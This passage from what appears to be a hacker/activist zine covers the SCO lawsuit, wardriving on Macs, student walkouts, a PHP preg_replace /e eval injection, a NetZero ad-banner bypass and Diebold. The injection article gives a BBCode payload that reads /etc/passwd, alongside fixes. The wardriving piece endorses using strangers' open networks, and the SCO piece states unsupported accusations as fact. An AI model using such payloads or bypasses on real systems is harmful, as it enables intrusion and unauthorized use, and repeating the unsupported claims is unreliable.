in the article Lawrence Goldfarb is quoted, “neither Chairman
William Gates nor CEO Steve Ballmer were among
the people from Microsoft who approached him.”
(2)On 3 March 2004 Judge Brooke C. Wells ordered IBM
to produce the disputed code, which SCO claim IMB was
using falsely. The Judge also ordered the SCO group to
produce the code they claim IBM had moved from Unix to
Linux. The SCO group was also ordered to identify all code
IBM had allegedly moved. As of today’s date no further
details have come forth. No doubt both parties have been
advised not to comment on the case.
So just where does Microsoft fit into all this you ask?
(3)According to the Open Source community, there was a
memo leak from the SCO offi ce in Utah to SCO executives
referring to money provided them by Microsoft. Below is a
link to the alleged email sent internally by SCO. It appears
that Microsoft is ganging up with SCO in an effort to squash
Linux and further their own dominance in the software industry.
Microsoft has coerced the SCO group into this lawsuit.
Sometime ago Microsoft invested money in SCO by buying
their software licenses for several million dollars. This action
essentially equipped SCO with fundings in court.
Has the giant Microsoft been planning this all along? Is this
their push to force out the underdog? Something similar to
this took place with Apple in 1985. And Microsoft have gotten
the upper hand on that occasion too.
It is sad that major corporations own this planet. They own
everything on it, and they even think they own the people!
To some extent they do. But what could one do about this?
Well, for starters reading this article is the first step toward
awareness.
Knowledge is power! What a person choose to do with this
power defines which side of the fence he or she stand on.
Practice acquired skills and learn all that is possible. Write
solid code, should one choose to start a software company,
write eloquent code that flows through execution. Make it
as secure as possible, keeping in mind it is a labor of love.
Exploring the Wireless World
on your Mac by ikari
A few months ago, I was vacationing in Sun Valley with my family.
After a long day of living the capitalist dream and spending my hardearned
money in the various shops and stores of the Idaho resort
town, I came home to relax and check my email. I took out my iBook,
plugged it in to the phone line, and opened up AOL (yes, it’s AOL, but
damn, they have dial-up numbers everywhere. That’s all I use it for. I
swear.) After connecting at 28800bps, I opened up my AOL mailbox
that hadn’t been used in 3 years and cleared the 1,000+ spam messages
from it. I then proceeded to check my email on my main account,
waiting patiently for each message to trickle down the phone
line. I said to myself, “There’s got to be a faster way to do this.” I remembered
hearing from friends earlier that, when they needed to use
the internet on the run, they just hopped on to a nearby wireless network
and sought out a DHCP lease, hoping they could get on the web
at the expense of a computer-illiterate consumer who just plugged in
a wireless router set to factory defaults to his broadband network. The
legality of such an act is still rather unclear, but I was (and still am)
young, and didn’t really care either way. So, I grabbed my iBook, and
set out into the town to fi nd wireless freedom.
Once I manually found a wireless access point, I used that access
point to download a Mac-based “stumbling” program, called iStumbler.
It’s not the only one out there, but it suits my needs the best. The
main ones for Mac are iStumbler, MacStumbler, and KisMAC, but it’s
really just a matter of personal preference as to which one to use.
Once you’ve got yourself this software, you can drive (or walk, for that
matter) around and attempt to fi nd open wireless networks. You can
use your standard internal antenna, or buy/build an external antenna.
The most common (so it seems) antenna in the wardriving world is a
waveguide, more commonly known as a “cantenna”, because of its
quality and price. I built my cantenna with about $20 in parts and a
$3 can of chili, and it runs circles around my iBook’s built-in antenna.
For example, I mapped out a route around Salt Lake City, and drove it
twice, once with just my iBook, and once with the cantenna attached.
I got 40 APs with my iBook, versus 700 or so with my cantenna.
There’re a number of websites out there devoted to wardriving and
with detailed instructions on building a cantenna, so Google around a
bit so I don’t have to explain it here. All of the Mac, and most of the PC
wardriving programs include some sort of GPS/mapping functionality,
so if you have an NMEA-compatible GPS (most Garmin models) and
a serial cable for the GPS, you can keep track of your wardriving on
a spiffy-looking map.
Once you’ve got yourself a wireless notebook and all the gear you
want/need, set out upon your local neighborhood and see what you
fi nd. You can choose to be active or passive in your wardriving, active
involving connecting to the networks and gaining internet access/
hacking/whatever, and passive involving just looking around, seeing
what’s there. Passive wardriving should have no legal implications,
but the legality of active wardriving, especially depending upon your
defi nition of “active”, is fairly unclear in most states. It’s your responsibility
to know the laws of your area and you are responsible for what
you do while wardriving. With that said, grab your stuff, grab an antenna,
and get out the door! Explore the wireless world!
how to organize a...
STUDENT REVOLUTION!
Students from Lombard, Illinois walk out of school on March 20 to protest the war in Iraq. Later joined
up with Chicago anti-war actions to commit acts of civil disobedience and shut down the city.
Student walkouts are a powerful act of protest. It can be
a way to unite with your peers and build a culture of resistance
at your school. It is a way to temporarily turn your
school upside down and put the students in charge for a
change. It is also valuable organizing training for when
the real revolution comes. And if done right, it can have
a big enough impact that actual change in the system
is made.
Probably the fi rst comment you’ll have is “something like
that will never happen at my school”. At least that’s what
I was saying at the beginning of my senior year of high
school. I never thought we would be able to get away
with half the stuff we pulled off. Our school was so boring,
mundane, uninteresting. By the end of the year, we
had published an underground newspaper distributed in
several local high schools, had formed a network of radical
student activists, and organized a student walkout of
hundreds of kids in protest of the war in Iraq. The entire
culture of the school has changed, and by then I actually
looked forward to going to school because there were so
many interesting things happening every day.
There is absolutely no reason why you cannot accomplish
the same, or better. The ultimate achievement
would be a student strike, sit-in, or walkout. But before
the fun stuff comes a lot of movement building. Set your
sights high, but take practical approaches to your goals.
Before we go any further, your movement must be _
about_ something. If it’s just ‘for the hell of it’, you should
stop reading now because you will fail miserably regardless.
So you need a cause behind your movement? No!
You need a movement behind your cause! If you do not
have a clear message, you will be quickly written off as
mindless teenage rebellion. By having a purpose for the
action, you gain legitimacy among faculty and conservative
students and reduce the risk of discipline from the
authorities. So make this meaningful. Remember: this
is a forum for you to express your dissatisfaction with
the status quo. Believe me, every school has something
unfair about it - dress code, censorship, abusive administrators,
pledge of allegiance, etc. If you play your cards
right, something may even get done about it.
Right. So now that you have selected a few issues to
raise a ruckus about, the fi rst thing you must do before
you develop grandoise plans for student revolution is to
start talking to people. Gather their thoughts about these
issues. Try to get them all riled up and wanting to take
action. While many people have their personal differences,
almost everyone if you talk to them long enough
will agree on some fundamental principles that things are
incredibly unfair and something should be done about it.
You will quickly discover that one of the fi rst things that
you must overcome is any personal inhibitions you might
have towards people. Do NOT be shy or self-restrained.
Don’t be afraid to go up to total strangers in a friendly way
and start sharing all these personal experiences. Reach
out to people of different cultural backgrounds. Don’t let
social cliques and popularity contests keep the student
body divided - believe me, everyone can unite around
the common idea that school is a big waste of time.
Once you get a band of students who want to do something
about it, you should call a general meeting. Make
little fl yers and posters and put them up around school
announcing when, where, and why. Get everyone you
can together in one room to make some decisions about
what can be done about the issue in question. Have everyone
go around the room and introduce themselves.
Make sure no one feels uncomfortable or left out. I also
recommend that you read up about how to organize a
meeting based on the directly democratic concensus
process where everyone is equal to share ideas on an
anti-authoritarian basis.
Whether you want to organize an offi cial student group
or remain unoffi cial is up to you. There are advantages
and disadvantages. While being an offi cial student organization,
the administration will be forced to consider
your actions with more legitimacy, and provide you with
school resources, rooms, announcements on the PA,
putting posters up around school, etc. However, you are
bound by school regulations, which may tie your hands
from any fun or rebellious activities. Of course, that does
not mean that you can work independent of the organizationIt
entirely depends on the context of your school.
Gather as much information about school policies regarding
student organizations and discuss this choice
with the other group members.
Now that you have an activist scene growing at your
school, it’s time to release some publications. Consider
making an underground newsletter to bring your message
to the people. Make the content quick, concise, but
most importantly, INTERESTING! Boredom is counterrevolutionary.
Your movement needs to be fun, enjoyable
and exciting, or no one will want to participate. And when
you distribute it to students, raise a ruckus! Stand near
the doors in the cafeteria handing out your propaganda
while shouting stuff! Make a scene! Blow bubbles and fill
the halls with laughter! Get hundreds of copies to your
friends so that they can distribute them to their friends
and their friends, etc. Make sure every single student has
access to it. And promote discussion - bring up the debate
in your classes, at lunch tables, with strangers in the
lunch line, etc. By now, it has entered mass consciousness,
the seeds have been planted, you have a strong
activist scene, and the time is ripe for an action.
What you should do depends entirely on the context
your movement takes place in. Try to coincide your action
with a particular date of significance(in response to
a controversial policy made by the government or your
school administration, anti-war protest in nearby cities,
etc). If possible, look at your local independent media
center(indymedia.org) to see if there are other student
activist groups planning any actions - and try to coordinate
your actions with theirs. Some things to consider
might be a student walkout, a sit-in in your school, a
march to join up with a larger protest downtown, or in
some situations, a simple teach-in to just discuss the
issues might be appropriate. However, in order to have
any degree of success, you must find a way to bring all
the unfocused meaningless rebellion into organized rebellion
with a purpose.
Weeks before the event, you should prepare some outreach
propaganda. Tape posters up on the walls, in restrooms,
classrooms, bulletin boards. Make quarter page
flyers explaining where, when, and why. Make a website,
advertise it in the official school paper. If you can, try to
get it on the school announcements. Make it exciting -
hype it up! Make it the topic of everyone’s discussion. Tell
everyone you see - even people you don’t know. Do not
be afraid to talk to people you don’t know - get used to
presenting your movement in a quick two minute discussion,
and _don’t be shy_!
Handling the local press is an important factor to consider.
A press release should be drafted explaining what,
who, where, when, and why. It should be short and concise,
yet still keep all the points you want to make intact.
Stick to a few key phrases that are repeated everywhere
- signs, buttons, leaflets, etc. Around a week before the
event, send press releases to all the local newspapers
and television networks. Try to invite reporters to take
pictures and interview people. Bring your own people to
take pictures and document the event. It is easy to get
The protest itself is a blank canvas for you to draw on.
Have ideas for activities ready. Don’t be afraid of creating
a ruckus - but everything you do must have an obvious
purpose. Keep things light-hearted and energetic. Don’t
sit still for a second - dull moments are killer, and people
will lose interest. Bring fun things to the protest itself.
Make drums out of buckets. Make flags and signs. Bring
people to play instruments. Get a dance circle going.
Have lots of random shit to hand out. Consider graffiti
to add some life to your area. Make it lively, entertaining,
and interesting - yet still have a very clear, concise
point which you are able to back up. When people start
leaving, they should be filled with the spirit of activism,
having made contacts with other activists, and looking
forward to or organizing their own future actions. People
should be energized and empowered after the action, not
disenchanted and dulled.
There is a certain high one can get from organizing a
successful action. If done right, the protest can bse a liberating
experience for you and your comrades beyond
the best sex or drugs. If you catch the ecstasy of the moment,
you know you have been doing something right.
After the action, you should prepare a communique
about the events, and call upon other members and their
parents to call the school board to leave their comments.
Depending on the success of your action, they may be
forced to issue a statement or change policies if you have
built a solid movement with a serious argument that pressures
the power that be. And there’s room to grow.
You’re probably wondering why this guide appeared in
this magazine. It’s not about hacking(computers, that is).
However, it is about building movements of people to accomplish
something in real life - a quality that is lacking
in computers and computer users. In this increasingly
oppressive world, people need to work with others and
fight for social justice. All too often hackers consider
themselves elite and above it all in the compute realm,
but when presented with injustice in the realm world,
they simply submit themselves to dominating forces. No
more. Resistance is fertile!
Hacking Regular Expression by ReDucTor
The issue you are about to use, is with in perl compatable regular expression (PCRE), not with in POSIX Regular
Expression. Now, lets start looking at some code:
$body = preg_replace(“/\[b\](.*)\[\/b\]/si”,”<b>\\1</b>”,$body);
$body = preg_replace(“/\[i\](.*)\[\/b\]/si”,”<i>\\1</i>”,$body);
$body = preg_replace(“/\[u\](.*)\[\/u\]/si”,”<u>\\1</u>”,$body);
$body = preg_replace(“/\[img\](.*)\[\/img\]/si”,”’<img src=\”’.str_
replace(‘ ‘,’%20’,’\\1’).’\”>”,$body);
$body = preg_replace(“/\[url\](.*)\[\/url\]/sie”,”’<a href=\”’.str_replace(‘
‘,’%20’,’\\1’).’\”>\\1</a>”,$body);
$body = preg_replace(“/\[url=(.*)\](.*)\[\/url\]/sie”,”’<a href=\”’.str_replace(‘
‘,’%20’,’\\1’).’\”>\\2</a>”,$body);
Nice BB Code uh?
[b]bold[/b] [u]underline[/u] [i]italics[/i] [img]http://somesite.com/img.gif[/img]
[url]http://somesite.com/[/url] [url=http://somesite.com/]Some Site[/url]
Can you spot a way to expoit it? Lets take a look at the url tags and img tag.
[img]http://somtesite.com/img.gif[/img]
Then becomes ‘<img src=”’.str_replace(‘ ‘,’%20’,’http://somesite.com/img.gif’).’”>’
This then gets put through eval:
eval(‘<img src=”’.str_replace(‘ ‘,’%20’,’http://somesite.com/img.gif’).’”>’)
How can we exploit it?, how about leaving the quote marks, then inserting file_get_contents(‘/etc/passwd’)
[img]http://somesite.com/img.gif’.fi le_get_contents(‘/etc/passwd’).’[img]
This then becomes:
eval(‘<img src=”’.str_replace(‘ ‘,’%20’,’http://somesite.com/img.gif’.fi le_get_contents(‘/
etc/passwd’).’’).’”>’)
Woah, look at that, now we have the contents of /etc/passwd. So your a webmaster, and just realised your vulnerable
to this sorta stuff, heres a few tips:
1. Use literal strings
2. Escape The literal char, e.g. turn it into an entitiy
3. Use preg_replace_callback instead
4. Match only what you need not everything
And people with regex test sites, get to work fixing, your going to be big targets now! Have fun!
Bypassing Netzero’s Ad Banner by plastek
Introduction - netzero.com
When using NetZero, the most annoying thing is that
banner at the bottom of the screen. Loading those
ads lags your connection. This really isn’t that bad
especially since the service is free; except for the fact
that you never click on any of those anyway. All the
banner at the bottom of the screen does is slow you
down and take up space. So you ask, how do I kill
the banner? Well of course like anything, there is an
exploit for this. This exploit is manual, which means
you do it yourself. Sooner or later I’ll write a program
to do it.
After getting some background information from a
friend (who prefers to remain anonymous), I discovered
this exploit pretty quickly.
Background
Ever look in a directory on your hard drive and see
all those .dll files? Ever got the impression that they
were just taking up space? Well actually DLL’s are
very important.
First off, DLL stand for Dynamic Link Library. To understand
what a DLL is and how one works, consider
this. You have a computer with Windows 3.1 and
you want to upgrade to Windows 95. So you go out
and buy Windows 95, install it, and it works without
a flaw (keeping in mind this example is hypothetical,
Windows 95 will never run flawlessly). So you take
all software you had on your old computer and start
installing it. Now of course you expect the software
you are installing to look the same in Windows 95 as
they did in 3.1 After all, how could they change? They
were made before Windows 95 was anyway. That’s
where you go wrong, and that’s where DLL’s come
in. As soon as you start up one of the programs, you
notice the title bar is different. It’s a Windows 95 title
bar, with an icon next to the name of the program,
and an “x” button to close the program next to the
traditional maximize and minimize buttons. You wonder
how this is possible. The answer is in the DLL.
There is DLL that all programs in Windows 95 access
to get information. Since the DLL in Windows 95 had
the same name as the one in Windows 3.1, the old
program will access it as well.
DLLs contain information on how to do something.
This something could be connecting to the Internet,
how to access your printer, or in this case, how to go
and build a new window, how to design it etc’. The
good thing about DLLs is that they:
a) Can be loaded and unloaded when the program is
done with the action the DLL was required for, which
saves up some valuable memory.
b) DLLs can be shared between several programs.
For example: if you have two or more programs that
have the option within them to start a PPP session
with your dial-up Internet provider, they can all just
use the same DLL, which means saving up some
disk space (you won’t have to have the same DLL
stored on your hard drive three times). The Unix
equivelants to DLLs are libraries (“libs”).
Preparation
Open up Windows Explorer and get to C:\Program
Files\NetZero\bin. In this directory there is a file called
‘net.dll’. Keep your attention on this file, because in
just a few moments we will move it. Now without
changing the directory, position the left side of the
screen that only shows the directories so that you
can see the directory where you are going to move
‘net.dll’. This is so when you have to move the file,
you won’t have to go looking around for a place to
put it. This is only done to speed up things, because
timing in this exploit is an important factor.
**Note: It isn’t important where you move ‘net.dll’, as
long as it is not in the NetZero directory and that you
remember where you put it.**
Carrying Out The Exploit
Keeping Windows Explorer open, start up NetZero.
Click ‘connect’ and wait for your modem to dial and
connect. As soon as your modem stops screaching
(if you have your modem speaker turned off, turn
it back on using control panel --> modem), quickly
switch back to Windows Explorer and move the ‘net.
dll’ file to another directory. The connection will complete.
At this point you would expect your browser
to open and for the banner to pop up. But nothing
happens. Don’t worry, the connection is fine, and you
won’t get booted off. You have just fooled the banner
program. When you’re done using the Internet,
just close your borwser and a prompt will come up to
close NetZero. Or just double click on the icon in the
toolbar at the bottom of the screen with the two computer
screens. There should be a disconnect button
on that. After you’ve signed off, move ‘net.dll’ back to
C:\Program Files\NetZero\bin
How This Exploit Works
Obviously, the important part of this exploit is the file
‘net.dll’. The NetZero start up program needs to access
this file, that’s why you have to move it back
when you’re done. The banner program needs to
access this file too. If it can’t find the file, the program
just doesn’t start. Strangley enough, it doesn’t
boot you off or anything. Lately when using this exploit
I have noticed something though. The inactivity
timeout rate is extremely low, like 5 minutes or
something.
Enjoy it.
Elections Undermine Democracy by DragonMaw
Internal development memos
Diebold provides electronic voting systems for 37
different states. These systems have come under
extreme controversy due to serious security
issues which have come to light through internal
development memos that hackers have leaked
to the public. This raises the question of how
corporations using privatized coding systems
threaten the democratic electoral process.
Diebold Electronic Voting Systems sued several
distributers of the leaked memos, claiming that
“they violated copyright law”. This was shown to
be false by several students at major universities,
as the memos did not meet the DMCA requirement
for copyrighted material. Excerpt:
“Diebold’s blanket cease-and-desist notices are a
blatant abuse of copyright law,” said [Electronic
Frontier Foundation] Staff Attorney Wendy
Seltzer. “Publication of the Diebold documents
is clear fair use because of their importance to
the public debate over the accuracy of electronic
voting machines.”
The staff at Why-War.com launched an electronic
civil disobedience campaign against Diebold,
mirroring copies of the memos to hundreds of
places on the internet, including file sharing
services, usenet, and www mirrors. In response,
Diebold launches more lawsuits for the leaking
of internal memos to the general public. This is
proved in court to be a violation of the freedom of
information act as well as the bill of rights(freedom
of speech).
Finally, due to the success of the electronic civil
disobedience campaign, press coverage of the
memos, the denouncement of their legal tactics,
and a federal order, Diebold retracted all ceaseand-
desist letters and suits, and offered a public
apology.
Freedom of Information
The Diebold scandal raises all sorts of
controversial legal and ethical dilemmas. The
accountability of private corporations who abuse
copyright and freedom of information law, the
threat to the democratic process that proprietory
coding poses, and etc.
Corporations, in the defense of their relentless
quest of the almighty dollar, have violently
disregarded the constitution. If the democratic
process can be sold to the highest bidder, then
the public will forever be under the greedy wrath
of profiteering corporations who have no concern
of the fundamental rights to freedom of the press
and democratic elections.
Activists are angry, demanding that all information
must be released to public scrutiny; instead of
being locked away, hiding important and damning
secrets which would hurt “profit”. A closed
privatized voting system undermines the very
concept of open, public, and democratic elections.
Public systems should be based on an opensource
model, which historically have yielded the
most secure, stable, and democratic systems.
Political Ties
It is of little surprise that Diebold has made large
financial contributions to the Bush administration.
Would you want a president who received
dirty money from breaking copyright law and
undermining the democratic process?
A Dose of Optimism
Diebold has been proven wrong, criminally
negligant, and threatens to undermine the
democratic process of our country. The Diebold
scandal has opened many people’s eyes to the
disregard corporations have for public interest.
This campaign would not have been successful
without the diligent effort of hackers and political
activists working together. Time and time again,
history proves that people have the ability to
organize cooperatively to put direct pressure on
politicians and institutions to make progressive
changes. Hopefully this will set a precedent for
future successful electronic civil disobedience
campaigns in the years to come.
